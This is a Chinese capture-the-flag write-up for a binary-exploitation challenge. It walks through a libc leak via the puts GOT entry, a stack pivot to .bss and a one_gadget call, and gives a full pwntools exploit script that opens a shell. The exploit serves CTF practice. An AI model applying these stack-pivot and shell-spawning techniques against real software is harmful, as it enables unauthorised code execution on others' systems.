emoji_call_read

这道题我觉得可以记录一下。

主要函数，一样，先考虑怎么泄露libc基址。

但，0x20实在太小，组成不了连续3个ret syscall。

而且文件中也没pop rdi;ret这个gadget，只能另寻他法。

我们注意到：

main函数中的这个gadget就很棒，将rbp-0x10处的东西打印出来，后面再执行vuln。

程序没有PIE，所以直接让rbp去got[puts]+0x10就可以了。

以下是这部分exp:

goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))

泄露完基址，它会再执行vuln，我们就要考虑怎么getshell了。

一开始我打算直接用one_gadget，但全试了一遍，都不可以。

read 0x20，意味着即使我们栈迁移也执行写2个gadget，不行,处理rdi然后system起码也要三个。

说实话，我一开始想把栈迁移到got[puts]附近，

然后:

payload=b'/bin/sh\x00'+p64(system)+p64(0)+p64(gadget2)

将puts的got表覆盖成system，然后bsh会赋给rdi，成功getshell。

但是执行后会在system内部崩溃，是在push r15的位置。

一开始我还以为是因为覆盖了got表里面比较重要的数据，后来发现就是不能直接system，要用系统调用，无论如何这个方法是不行的，我们换一个。

当时想着起码控制连续3个gadget，发现可以在bss上这么构造：
 

content	address
0x401191(read()+leave,ret)
bss-0x20	bss
ret3
ret2
ret1
........	bss-0x20
.........
..........

这样就可以实现连续执行3个可以控制的gadget了。

一开始我中规中矩，

p64(rdi)+p64(bsh)+p64(system)

很可惜依然报错，看来就是system不能用。

现在想着这么系统调用，但是系统调用要的连续执行空间可就多了，很难构造。

所以反过来想能不能用比较少的gadget满足one_gadget的执行条件。

 经过反复对比，锁定了这个gadget，看看条件，rbp可以控制在bss上，肯定可写，bss上根本没什么数据，[rbp-0x70]=NULL也是轻而易举，那就剩下r12==NULL这个了，正好我们可以连续写3个gadget，那答案就呼之欲出了：
 

payload=p64(r12)+p64(0)+p64(one_gadget)

以下是完整exp:

from pwn import *
from LibcSearcher import *
from ctypes import *
elf=ELF('./pwn')
#io=remote('emoji.dayi.ink',22857)
io=process('./pwn')
context.arch='amd64'
libc=ELF('./libc.so.6')
#libc=elf.libc
goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(bss)+p64(gadget)
io.send(payload)
rdi=libc_base+0x2a3e5
rdx2=libc_base+0x11f2e7
leave=0x4011AD#gadget
ret=0x40122F
r12=libc_base+0x35731
rax=libc_base+0x45eb0
one_gadget=libc_base+0xebd38
payload=p64(0)+p64(one_gadget)+p64(bss-0x20)+p64(gadget)
io.send(payload)
payload=p64(ret)+p64(system)+p64(bss-0x20)+p64(r12)
io.send(payload)
io.interactive()

要注意的是发送一定要用send，不能sendline，不然会崩溃报错，读不进去数据，我也不知道为什么，很神奇，以前貌似遇到过。 

--------------------------------------------------------------------------------------------------------------------------------

之前有个判断有误，补充一下，这道其实可以用system

不过要把栈迁移到bss+0x700左右最好，同时由于只能写3个gadget，要调整好迁移的位置，让system正好和0x10对齐。

以下是原因：

这是报错时的截图，在system内部，这个程序的bss是0x404040开始，我迁移到了bss+0x500，但是system内部执行到这的时候，rsp已经是0x404188了，system少说已经占了0x300的空间，这还没执行完，所以如果你迁移到bss+0x200,bss+0x300这样，执行的数据会覆盖bss下方的 got表，甚至rodata这样的不可写区域，自然会报错，所以下次在BSS上执行system的时候，记得把栈迁移得高一点，或者直接系统调用。